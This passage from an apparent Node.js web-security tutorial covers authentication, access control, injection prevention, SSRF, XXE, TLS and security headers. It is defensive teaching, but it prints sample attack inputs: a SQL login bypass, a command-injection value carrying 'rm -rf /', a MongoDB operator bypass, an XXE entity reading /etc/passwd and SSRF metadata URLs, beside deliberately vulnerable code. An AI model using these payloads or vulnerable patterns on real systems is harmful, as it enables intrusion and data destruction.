const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);

return {
secret: secret.base32,
qrCode: qrCodeUrl
};
}

// Verify TOTP token
function verifyMFAToken(secret, token) {
return speakeasy.totp.verify({
secret: secret,
encoding: 'base32',
token: token,
window: 2 // Allow 2 time steps before/after
});
}

// MFA login flow
app.post('/login', async (req, res) => {
const { email, password } = req.body;

const user = await authenticateUser(email, password);

if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}

// Check if MFA is enabled
if (user.mfaEnabled) {
// Create temporary token for MFA verification
const tempToken = jwt.sign(
{ userId: user.id, step: 'mfa_required' },
process.env.TEMP_TOKEN_SECRET,
{ expiresIn: '5m' }
);

return res.json({
requiresMFA: true,
tempToken: tempToken
});
}

// No MFA, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
});

app.post('/verify-mfa', async (req, res) => {
const { tempToken, mfaToken } = req.body;

try {
const decoded = jwt.verify(tempToken, process.env.TEMP_TOKEN_SECRET);

if (decoded.step !== 'mfa_required') {
return res.status(403).json({ error: 'Invalid token' });
}

const user = await getUserById(decoded.userId);
const isValid = verifyMFAToken(user.mfaSecret, mfaToken);

if (!isValid) {
return res.status(401).json({ error: 'Invalid MFA token' });
}

// MFA verified, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });

} catch (err) {
return res.status(403).json({ error: 'Invalid token' });
}
});

// Backup codes
function generateBackupCodes(count = 10) {
const codes = [];
for (let i = 0; i < count; i++) {
codes.push(crypto.randomBytes(4).toString('hex').toUpperCase());
}
return codes;
}

async function saveBackupCodes(userId, codes) {
const hashedCodes = await Promise.all(
codes.map(code => bcrypt.hash(code, 10))
);
await db.query(
'INSERT INTO mfa_backup_codes (user_id, code_hash) VALUES ?',
[hashedCodes.map(hash => [userId, hash])]
);
}

WebAuthn & Passkeysโ€‹

Registration (Creating Passkey):

// Server-side: Generate challenge
const { generateRegistrationOptions, verifyRegistrationResponse } = require('@simplewebauthn/server');

app.post('/webauthn/register/start', async (req, res) => {
const user = req.user;

const options = generateRegistrationOptions({
rpName: 'YourApp',
rpID: 'example.com',
userID: user.id,
userName: user.email,
userDisplayName: user.name,
attestationType: 'none',
authenticatorSelection: {
authenticatorAttachment: 'platform', // 'platform' or 'cross-platform'
userVerification: 'required',
residentKey: 'required'
},
timeout: 60000
});

// Store challenge in session
req.session.challenge = options.challenge;

res.json(options);
});

// Client-side: Create credential
async function registerPasskey() {
const optionsResponse = await fetch('/webauthn/register/start', {
method: 'POST',
credentials: 'include'
});
const options = await optionsResponse.json();

// Browser API
const credential = await navigator.credentials.create({
publicKey: options
});

// Send credential to server
await fetch('/webauthn/register/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
}

// Server-side: Verify and store credential
app.post('/webauthn/register/finish', async (req, res) => {
const user = req.user;
const credential = req.body;
const expectedChallenge = req.session.challenge;

try {
const verification = await verifyRegistrationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com'
});

if (verification.verified) {
// Store credential in database
await db.query(
'INSERT INTO webauthn_credentials (user_id, credential_id, public_key, counter) VALUES (?, ?, ?, ?)',
[user.id, verification.registrationInfo.credentialID, verification.registrationInfo.credentialPublicKey, 0]
);

res.json({ success: true });
} else {
res.status(400).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(400).json({ error: err.message });
}
});

Authentication (Using Passkey):

// Server-side: Generate authentication challenge
const { generateAuthenticationOptions, verifyAuthenticationResponse } = require('@simplewebauthn/server');

app.post('/webauthn/auth/start', async (req, res) => {
const { email } = req.body;

const user = await getUserByEmail(email);
if (!user) {
return res.status(404).json({ error: 'User not found' });
}

const userCredentials = await getUserCredentials(user.id);

const options = generateAuthenticationOptions({
rpID: 'example.com',
allowCredentials: userCredentials.map(cred => ({
id: cred.credentialId,
type: 'public-key',
transports: ['internal', 'hybrid']
})),
userVerification: 'required',
timeout: 60000
});

req.session.challenge = options.challenge;
req.session.userId = user.id;

res.json(options);
});

// Client-side: Get credential
async function authenticateWithPasskey(email) {
const optionsResponse = await fetch('/webauthn/auth/start', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ email })
});
const options = await optionsResponse.json();

const credential = await navigator.credentials.get({
publicKey: options
});

const response = await fetch('/webauthn/auth/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});

return response.json();
}

// Server-side: Verify authentication
app.post('/webauthn/auth/finish', async (req, res) => {
const credential = req.body;
const expectedChallenge = req.session.challenge;
const userId = req.session.userId;

const userCredential = await getCredentialById(credential.id);

if (!userCredential) {
return res.status(404).json({ error: 'Credential not found' });
}

try {
const verification = await verifyAuthenticationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com',
authenticator: {
credentialID: userCredential.credentialId,
credentialPublicKey: userCredential.publicKey,
counter: userCredential.counter
}
});

if (verification.verified) {
// Update counter
await updateCredentialCounter(credential.id, verification.authenticationInfo.newCounter);

// Create session
const sessionId = await createSession(userId);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} else {
res.status(401).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(401).json({ error: err.message });
}
});

Authorization Patternsโ€‹

Role-Based Access Control (RBAC):

// Define roles and permissions
const ROLES = {
ADMIN: 'admin',
MODERATOR: 'moderator',
USER: 'user',
GUEST: 'guest'
};

const PERMISSIONS = {
USER_CREATE: 'user:create',
USER_READ: 'user:read',
USER_UPDATE: 'user:update',
USER_DELETE: 'user:delete',
POST_CREATE: 'post:create',
POST_UPDATE_OWN: 'post:update:own',
POST_UPDATE_ANY: 'post:update:any',
POST_DELETE_ANY: 'post:delete:any'
};

const ROLE_PERMISSIONS = {
[ROLES.ADMIN]: Object.values(PERMISSIONS),
[ROLES.MODERATOR]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_ANY,
PERMISSIONS.POST_DELETE_ANY
],
[ROLES.USER]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_OWN
],
[ROLES.GUEST]: [
PERMISSIONS.USER_READ
]
};

// Middleware
function requirePermission(permission) {
return async (req, res, next) => {
const user = req.user;

if (!user) {
return res.status(401).json({ error: 'Unauthorized' });
}

const userPermissions = ROLE_PERMISSIONS[user.role] || [];

if (!userPermissions.includes(permission)) {
return res.status(403).json({ error: 'Forbidden: Insufficient permissions' });
}

next();
};
}

function requireRole(...roles) {
return (req, res, next) => {
if (!req.user || !roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Forbidden: Insufficient role' });
}
next();
};
}

// Usage
app.post('/users',
authenticateToken,
requirePermission(PERMISSIONS.USER_CREATE),
createUser
);

app.delete('/posts/:id',
authenticateToken,
requirePermission(PERMISSIONS.POST_DELETE_ANY),
deletePost
);

app.put('/posts/:id',
authenticateToken,
async (req, res, next) => {
const post = await getPostById(req.params.id);

// Check ownership
if (post.authorId === req.user.id) {
return requirePermission(PERMISSIONS.POST_UPDATE_OWN)(req, res, next);
} else {
return requirePermission(PERMISSIONS.POST_UPDATE_ANY)(req, res, next);
}
},
updatePost
);

Attribute-Based Access Control (ABAC):

// Policy engine
class PolicyEngine {
constructor() {
this.policies = [];
}

addPolicy(policy) {
this.policies.push(policy);
}

evaluate(subject, action, resource, context = {}) {
for (const policy of this.policies) {
if (policy.matches(subject, action, resource, context)) {
return policy.effect === 'allow';
}
}
return false; // Deny by default
}
}

// Example policies
const policyEngine = new PolicyEngine();

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return subject.role === 'admin'; // Admins can do anything
}
});

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'read' && resource.visibility === 'public';
}
});

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'update' &&
resource.authorId === subject.id &&
context.withinBusinessHours === true;
}
});

// Middleware
function requireAccess(action, getResource) {
return async (req, res, next) => {
const subject = req.user;
const resource = await getResource(req);
const context = {
withinBusinessHours: isBusinessHours(),
ipAddress: req.ip
};

if (!policyEngine.evaluate(subject, action, resource, context)) {
return res.status(403).json({ error: 'Access denied' });
}

next();
};
}

// Usage
app.put('/documents/:id',
authenticateToken,
requireAccess('update', async (req) => {
return await getDocumentById(req.params.id);
}),
updateDocument
);

6. Backend & API Securityโ€‹

Input Validationโ€‹

Validation Libraries:

// Using Zod
const { z } = require('zod');

const userSchema = z.object({
email: z.string().email().max(255),
password: z.string().min(12).max(128),
age: z.number().int().min(13).max(120),
username: z.string().regex(/^[a-zA-Z0-9_-]{3,20}$/),
website: z.string().url().optional(),
bio: z.string().max(500).optional()
});

app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
// Process valid data
await createUser(validData);
res.json({ success: true });
} catch (err) {
if (err instanceof z.ZodError) {
return res.status(400).json({
error: 'Validation failed',
details: err.errors
});
}
throw err;
}
});

// Using Joi
const Joi = require('joi');

const postSchema = Joi.object({
title: Joi.string().min(1).max(200).required(),
content: Joi.string().min(1).max(50000).required(),
tags: Joi.array().items(Joi.string().max(30)).max(10),
publishedAt: Joi.date().iso().optional(),
metadata: Joi.object().unknown(true).optional()
});

const { error, value } = postSchema.validate(req.body, {
abortEarly: false,
stripUnknown: true
});

if (error) {
return res.status(400).json({
error: error.details.map(d => d.message)
});
}

Sanitization:

const validator = require('validator');
const xss = require('xss');

function sanitizeInput(input) {
// Remove control characters
let sanitized = input.replace(/[\x00-\x1F\x7F]/g, '');

// Escape HTML
sanitized = validator.escape(sanitized);

// Additional XSS protection
sanitized = xss(sanitized, {
whiteList: {}, // No HTML allowed
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
});

return sanitized.trim();
}

// File upload validation
const multer = require('multer');
const path = require('path');

const fileFilter = (req, file, cb) => {
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];

const ext = path.extname(file.originalname).toLowerCase();

if (!allowedMimes.includes(file.mimetype) || !allowedExts.includes(ext)) {
return cb(new Error('Invalid file type'), false);
}

cb(null, true);
};

const upload = multer({
storage: multer.diskStorage({
destination: './uploads/',
filename: (req, file, cb) => {
// Generate random filename to prevent path traversal
const uniqueName = `${Date.now()}-${crypto.randomBytes(8).toString('hex')}${path.extname(file.originalname)}`;
cb(null, uniqueName);
}
}),
fileFilter: fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 5MB
files: 1
}
});

app.post('/upload', upload.single('image'), (req, res) => {
res.json({ filename: req.file.filename });
});

SQL Injectionโ€‹

What It Is:

-- Vulnerable query
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'

-- Attack input
username: admin'--
password: anything

-- Resulting query (-- comments out password check)
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

Prevention:

1. Parameterized Queries (Prepared Statements):

// โŒ VULNERABLE
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query, (err, results) => {
// Dangerous!
});

// โœ… SAFE - MySQL with placeholders
const query = 'SELECT * FROM users WHERE email = ?';
db.query(query, [email], (err, results) => {
// Safe!
});

// โœ… SAFE - PostgreSQL with named parameters
const query = 'SELECT * FROM users WHERE email = $1';
db.query(query, [email], (err, results) => {
// Safe!
});

// โœ… SAFE - Using ORM (Sequelize)
const user = await User.findOne({
where: {
email: email
}
});

// โœ… SAFE - Using query builder (Knex)
const users = await knex('users')
.where('email', email)
.select('*');

2. Input Validation:

const validator = require('validator');

function validateEmail(email) {
if (!validator.isEmail(email)) {
throw new Error('Invalid email format');
}
if (email.length > 255) {
throw new Error('Email too long');
}
return email;
}

function validateId(id) {
const parsed = parseInt(id, 10);
if (isNaN(parsed) || parsed < 1) {
throw new Error('Invalid ID');
}
return parsed;
}

app.get('/users/:id', async (req, res) => {
try {
const userId = validateId(req.params.id);
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
res.json(user);
} catch (err) {
res.status(400).json({ error: err.message });
}
});

3. Least Privilege Database Access:

-- Create restricted user for application
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON myapp.posts TO 'app_user'@'localhost';

-- Don't grant DELETE, DROP, or admin privileges

Best Practices: โœ… Use: Parameterized queries always โœ… Use: ORMs with parameter binding โœ… Use: Input validation and type checking โœ… Use: Least privilege database accounts โŒ Avoid: String concatenation for queries โŒ Avoid: Dynamic SQL with user input โŒ Avoid: Displaying database errors to users

NoSQL Injectionโ€‹

MongoDB Injection Example:

// โŒ VULNERABLE
app.post('/login', async (req, res) => {
const { username, password } = req.body;

// Attack: username = {"$gt": ""}, password = {"$gt": ""}
const user = await db.collection('users').findOne({
username: username,
password: password
});

if (user) {
res.json({ success: true });
}
});

// โœ… SAFE - Validate and sanitize
app.post('/login', async (req, res) => {
const { username, password } = req.body;

// Ensure inputs are strings
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}

const user = await db.collection('users').findOne({
username: username,
password: password // Should be hashed!
});

if (user) {
res.json({ success: true });
}
});

// โœ… BETTER - Using Mongoose with schema validation
const userSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});

const User = mongoose.model('User', userSchema);

app.post('/login', async (req, res) => {
const { username, password } = req.body;

const user = await User.findOne({ username, password });
// Mongoose automatically sanitizes
});

Sanitization Library:

const mongoSanitize = require('express-mongo-sanitize');

// Sanitize all user input
app.use(mongoSanitize({
replaceWith: '_',
onSanitize: ({ req, key }) => {
console.warn(`Sanitized ${key} in ${req.path}`);
}
}));

// Or manually sanitize
const sanitize = require('mongo-sanitize');

app.post('/search', async (req, res) => {
const query = sanitize(req.body.query);
const results = await db.collection('posts').find({ title: query });
res.json(results);
});

Command Injectionโ€‹

What It Is:

// โŒ VULNERABLE
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
const host = req.query.host;

// Attack: host = "google.com; rm -rf /"
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});

Prevention:

// โœ… SAFE - Use parameterized execution
const { execFile } = require('child_process');

app.get('/ping', (req, res) => {
const host = req.query.host;

// Validate hostname
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid hostname' });
}

// execFile doesn't invoke shell
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) {
return res.status(500).json({ error: 'Ping failed' });
}
res.send(stdout);
});
});

// โœ… BETTER - Avoid executing external commands
// Use native libraries instead
const ping = require('ping');

app.get('/ping', async (req, res) => {
const host = req.query.host;

try {
const result = await ping.promise.probe(host, {
timeout: 10
});
res.json(result);
} catch (err) {
res.status(500).json({ error: 'Ping failed' });
}
});

Insecure Direct Object References (IDOR)โ€‹

Vulnerable Example:

// โŒ VULNERABLE - No authorization check
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);

// Anyone authenticated can view any order!
res.json(order);
});

// Attack: User changes URL from /api/orders/123 to /api/orders/124

Prevention:

// โœ… SAFE - Verify ownership
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id]
);

if (!order) {
return res.status(404).json({ error: 'Order not found' });
}

res.json(order);
});

// โœ… SAFE - Reusable authorization middleware
async function authorizeResource(resourceType) {
return async (req, res, next) => {
const resourceId = req.params.id;
const userId = req.user.id;

const resource = await getResource(resourceType, resourceId);

if (!resource) {
return res.status(404).json({ error: 'Resource not found' });
}

// Check ownership
if (resource.userId !== userId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}

req.resource = resource;
next();
};
}

app.get('/api/orders/:id',
authenticateToken,
authorizeResource('order'),
(req, res) => {
res.json(req.resource);
}
);

app.delete('/api/documents/:id',
authenticateToken,
authorizeResource('document'),
async (req, res) => {
await deleteDocument(req.params.id);
res.json({ success: true });
}
);

Use UUIDs Instead of Sequential IDs:

// โŒ Predictable IDs
// Orders: 1, 2, 3, 4, 5... (easy to enumerate)

// โœ… UUIDs
const { v4: uuidv4 } = require('uuid');

const orderId = uuidv4(); // e.g., "550e8400-e29b-41d4-a716-446655440000"

// Still need authorization checks, but harder to enumerate

Server-Side Request Forgery (SSRF)โ€‹

Vulnerable Example:

// โŒ VULNERABLE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;

// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
// Attack: url = "http://localhost:6379/" (Redis)
const response = await axios.get(url);
res.send(response.data);
});

Prevention:

const axios = require('axios');
const { URL } = require('url');

// Whitelist of allowed domains
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

// Blacklist of dangerous hosts/IPs
const BLOCKED_HOSTS = [
'localhost',
'127.0.0.1',
'0.0.0.0',
'169.254.169.254', // AWS metadata
'169.254.169.253',
'[::1]', // IPv6 localhost
'[0:0:0:0:0:0:0:1]'
];

const BLOCKED_IP_RANGES = [
/^10\./, // Private network
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private network
/^192\.168\./, // Private network
/^127\./, // Loopback
/^169\.254\./ // Link-local
];

function isUrlSafe(urlString) {
try {
const url = new URL(urlString);

// Only allow HTTP/HTTPS
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}

// Check whitelist
if (!ALLOWED_DOMAINS.some(domain => url.hostname.endsWith(domain))) {
return false;
}

// Check blacklist
if (BLOCKED_HOSTS.includes(url.hostname.toLowerCase())) {
return false;
}

// Check IP ranges
if (BLOCKED_IP_RANGES.some(pattern => pattern.test(url.hostname))) {
return false;
}

return true;
} catch (err) {
return false;
}
}

// โœ… SAFE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;

if (!isUrlSafe(url)) {
return res.status(400).json({ error: 'Invalid or forbidden URL' });
}

try {
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0, // Disable redirects
validateStatus: status => status === 200
});

res.send(response.data);
} catch (err) {
res.status(500).json({ error: 'Failed to fetch URL' });
}
});

XML External Entity (XXE)โ€‹

Vulnerable Example:

// โŒ VULNERABLE
const libxmljs = require('libxmljs');

app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;

// Attack XML:
// <?xml version="1.0"?>
// <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <data>&xxe;</data>

const doc = libxmljs.parseXml(xml);
res.send(doc.toString());
});

Prevention:

// โœ… SAFE - Disable external entities
const libxmljs = require('libxmljs');

app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;

try {
const doc = libxmljs.parseXml(xml, {
noent: false, // Don't substitute entities
nonet: true, // Don't fetch external resources
dtdload: false, // Don't load external DTD
dtdvalid: false // Don't validate against DTD
});

res.send(doc.toString());
} catch (err) {
res.status(400).json({ error: 'Invalid XML' });
}
});

// โœ… BETTER - Use JSON instead of XML when possible
app.post('/parse-data', express.json(), (req, res) => {
// JSON doesn't have XXE vulnerabilities
const data = req.body;
res.json(data);
});

API Security Best Practicesโ€‹

Rate Limiting:

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

// General API rate limit
const apiLimiter = rateLimit({
store: new RedisStore({
client: redisClient,
prefix: 'rl:api:'
}),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later' }
});

app.use('/api/', apiLimiter);

// Stricter limit for authentication endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true
});

app.post('/api/login', authLimiter, loginHandler);

// Per-user rate limiting
const createUserLimiter = () => rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10,
keyGenerator: (req) => req.user?.id || req.ip,
skip: (req) => req.user?.role === 'admin'
});

app.post('/api/posts', authenticateToken, createUserLimiter(), createPost);

API Versioning:

// URL versioning
app.use('/api/v1', v1Router);
app.use('/api/v2', v2Router);

// Header versioning
app.use((req, res, next) => {
const version = req.headers['api-version'] || '1';
req.apiVersion = version;
next();
});

// Deprecation warnings
app.use('/api/v1', (req, res, next) => {
res.set('Warning', '299 - "API v1 is deprecated, please use v2"');
res.set('Sunset', 'Sat, 31 Dec 2025 23:59:59 GMT');
next();
});

Request Validation:

const { body, param, query, validationResult } = require('express-validator');

const validateRequest = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
};

app.post('/api/users',
[
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('age').optional().isInt({ min: 13, max: 120 }),
validateRequest
],
createUser
);

app.get('/api/users/:id',
[
param('id').isUUID(),
validateRequest
],
getUser
);

app.get('/api/posts',
[
query('page').optional().isInt({ min: 1 }),
query('limit').optional().isInt({ min: 1, max: 100 }),
query('sort').optional().isIn(['asc', 'desc']),
validateRequest
],
getPosts
);

API Authentication:

// API Key authentication
const API_KEYS = new Map(); // In production, use database

function authenticateAPIKey(req, res, next) {
const apiKey = req.headers['x-api-key'];

if (!apiKey) {
return res.status(401).json({ error: 'API key required' });
}

const keyData = API_KEYS.get(apiKey);

if (!keyData || keyData.expiresAt < Date.now()) {
return res.status(401).json({ error: 'Invalid or expired API key' });
}

req.apiKeyData = keyData;
next();
}

// Generate API keys
function generateAPIKey() {
return crypto.randomBytes(32).toString('base64url');
}

app.post('/api/keys/generate', authenticateToken, async (req, res) => {
const apiKey = generateAPIKey();
const expiresAt = Date.now() + (365 * 24 * 60 * 60 * 1000); // 1 year

await db.query(
'INSERT INTO api_keys (key_hash, user_id, expires_at) VALUES (?, ?, ?)',
[hashAPIKey(apiKey), req.user.id, expiresAt]
);

// Return key only once
res.json({
apiKey: apiKey,
expiresAt: expiresAt,
warning: 'Store this key securely. It will not be shown again.'
});
});

function hashAPIKey(key) {
return crypto.createHash('sha256').update(key).digest('hex');
}

Response Security:

// Don't leak sensitive info in responses
app.use((err, req, res, next) => {
console.error(err); // Log full error server-side

// Send generic error to client
res.status(err.status || 500).json({
error: process.env.NODE_ENV === 'production'
? 'An error occurred'
: err.message
});
});

// Remove sensitive fields
function sanitizeUser(user) {
const { password, passwordResetToken, mfaSecret, ...safe } = user;
return safe;
}

app.get('/api/users/:id', async (req, res) => {
const user = await getUserById(req.params.id);
res.json(sanitizeUser(user));
});

// Set proper content type
app.use((req, res, next) => {
res.type('application/json');
next();
});

7. Transport & Network Securityโ€‹

HTTPS & TLSโ€‹

Why HTTPS:

  • Encryption: Protects data in transit
  • Authentication: Verifies server identity
  • Integrity: Prevents tampering

TLS Configuration (Node.js):

const https = require('https');
const fs = require('fs');

const options = {
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem'),
ca: fs.readFileSync('/path/to/ca-certificate.pem'),

// Security settings
minVersion: 'TLSv1.2',
maxVersion: 'TLSv1.3',
ciphers: [
'ECDHE-ECDSA-AES128-GCM-SHA256',
'ECDHE-RSA-AES128-GCM-SHA256',
'ECDHE-ECDSA-AES256-GCM-SHA384',
'ECDHE-RSA-AES256-GCM-SHA384',
'ECDHE-ECDSA-CHACHA20-POLY1305',
'ECDHE-RSA-CHACHA20-POLY1305'
].join(':'),
honorCipherOrder: true,

// Disable insecure renegotiation
secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION
};

https.createServer(options, app).listen(443);

Nginx TLS Configuration:

server {
listen 443 ssl http2;
server_name example.com;

# Certificates
ssl_certificate /path/to/fullchain.pem;
ssl_certificate_key /path/to/privkey.pem;

# TLS versions
ssl_protocols TLSv1.2 TLSv1.3;

# Ciphers
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;

# Performance
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_session_tickets off;

# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/chain.pem;

# Security headers
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

location / {
proxy_pass http://localhost:3000;
}
}

# Redirect HTTP to HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}

Certificate Managementโ€‹

Let's Encrypt with Certbot:

# Install certbot
sudo apt-get install certbot python3-certbot-nginx

# Obtain certificate
sudo certbot --nginx -d example.com -d www.example.com

# Auto-renewal (runs twice daily)
sudo certbot renew --dry-run

# Renewal hook
sudo certbot renew --deploy-hook "systemctl reload nginx"

Automated Renewal (Cron):

# /etc/cron.d/certbot
0 */12 * * * root certbot renew --quiet --deploy-hook "systemctl reload nginx"

Certificate Monitoring:

const https = require('https');
const tls = require('tls');

async function checkCertificateExpiry(hostname) {
return new Promise((resolve, reject) => {
const socket = tls.connect(443, hostname, () => {
const cert = socket.getPeerCertificate();

if (!socket.authorized) {
reject(new Error('Certificate not authorized'));
}

const daysUntilExpiry = Math.floor(
(new Date(cert.valid_to) - new Date()) / (1000 * 60 * 60 * 24)
);

socket.end();
resolve({
hostname,
issuer: cert.issuer.O,
validFrom: cert.valid_from,
validTo: cert.valid_to,
daysUntilExpiry
});
});

socket.on('error', reject);
});
}

// Alert if certificate expires soon
const domains = ['example.com', 'api.example.com'];

setInterval(async () => {
for (const domain of domains) {
const cert = await checkCertificateExpiry(domain);

if (cert.daysUntilExpiry < 30) {
console.warn(`Certificate for ${domain} expires in ${cert.daysUntilExpiry} days!`);
// Send alert
}
}
}, 24 * 60 * 60 * 1000); // Check daily

HTTP Strict Transport Security (HSTS)โ€‹

Header Configuration:

// Express
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
next();
});

// Or use Helmet
const helmet = require('helmet');

app.use(helmet.hsts({
maxAge: 63072000, // 2 years
includeSubDomains: true,
preload: true
}));

HSTS Preload:

  1. Set header with preload directive
  2. Submit domain to https://hstspreload.org
  3. Domain will be hardcoded into browsers

Requirements for Preload:

  • Valid certificate
  • Redirect HTTP to HTTPS on same host
  • Serve HSTS header on all subdomains
  • HSTS max-age at least 31536000 (1 year)
  • Include includeSubDomains directive
  • Include preload directive

DNS Securityโ€‹

DNSSEC:

# Enable DNSSEC on your domain
# Cloudflare example
# In Cloudflare dashboard: DNS > DNSSEC > Enable

DNS over HTTPS (DoH):

// Configure DNS resolver in application
const dns = require('dns').promises;

dns.setServers([
'1.1.1.1', // Cloudflare
'8.8.8.8' // Google
]);

Subdomain Takeover Prevention:

# Remove unused DNS records
# Monitor for dangling CNAMEs pointing to:
# - Deleted cloud resources (S3, Azure, etc.)
# - Expired services (Heroku, GitHub Pages)
# - Unused CDN endpoints

# Example vulnerable record:
blog.example.com CNAME old-app.herokuapp.com # If old-app is deleted, anyone can claim it!

CAA Records:

# Specify which CAs can issue certificates for your domain
example.com. CAA 0 issue "letsencrypt.org"
example.com. CAA 0 issuewild "letsencrypt.org"
example.com. CAA 0 iodef "mailto:security@example.com"

DDoS Protectionโ€‹

Application-Level Protection:

// Request size limits
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));

// Slow request timeout
const timeout = require('connect-timeout');
app.use(timeout('5s'));

// Connection limits
const server = app.listen(3000);
server.maxConnections = 1000;

// Rate limiting (see previous section)

Nginx Configuration:

# Connection limits per IP
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10;

# Request rate limiting
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
limit_req zone=one burst=20 nodelay;

# Timeout settings
client_body_timeout 12;
client_header_timeout 12;
keepalive_timeout 15;
send_timeout 10;

# Buffer limits
client_body_buffer_size 1K;
client_header_buffer_size 1k;
client_max_body_size 1k;
large_client_header_buffers 2 1k;

CDN & WAF:

  • Use Cloudflare, AWS CloudFront, or Fastly
  • Enable WAF (Web Application Firewall)
  • Configure rate limiting rules
  • Enable bot protection
  • Use challenge pages for suspicious traffic

8. Security Headersโ€‹

Essential Headers Overviewโ€‹

const helmet = require('helmet');

// Use Helmet for automatic header configuration
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{RANDOM}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: []
}
},
strictTransportSecurity: {
maxAge: 63072000,
includeSubDomains: true,
preload: true
},
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
xContentTypeOptions: true,
xFrameOptions: { action: 'deny' },
xXssProtection: true
}));

// Or set manually
app.use((req, res, next) => {
// CSP
res.setHeader('Content-Security-Policy', "default-src 'self'");

// HSTS
res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');

// Prevent MIME sniffing
